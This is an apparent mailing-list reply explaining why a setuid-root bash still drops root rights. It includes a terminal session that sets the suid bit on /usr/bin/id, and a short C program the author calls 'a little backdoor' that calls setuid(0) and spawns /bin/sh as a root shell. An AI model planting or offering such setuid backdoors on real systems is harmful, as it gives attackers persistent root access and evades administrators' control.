because the suid bit influes only the Effective UID, and there is somewhere in the 
bash code a setuid(getuid) to drop root rights (if executed by non root)
try /bin/bash1 (I have this on my slack 8) or other shell ; they might give you your 
expected rootshell.
look at this :
bash-2.05# id
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),16(halt)
bash-2.05# chmod +s /usr/bin/id      
bash-2.05# exit
bash-2.05$ id
uid=1000(spacewalker) gid=100(users) euid=0(root) egid=1(bin) 
groups=100(users),16(halt)
if you want to program a little backdoor who gives you a rootshell, you have to set 
your uid to 0. the kernel will give you the uid 0 because you have the 0 euid
effect :
#include <stdio.h>
int main(){
        setuid(0);
        if(getuid()){
                printf("program not suid root\n");
        } else {
        system("/bin/sh");
        }
        return 0;
        }

I hope I respond to your question...

Reply via email to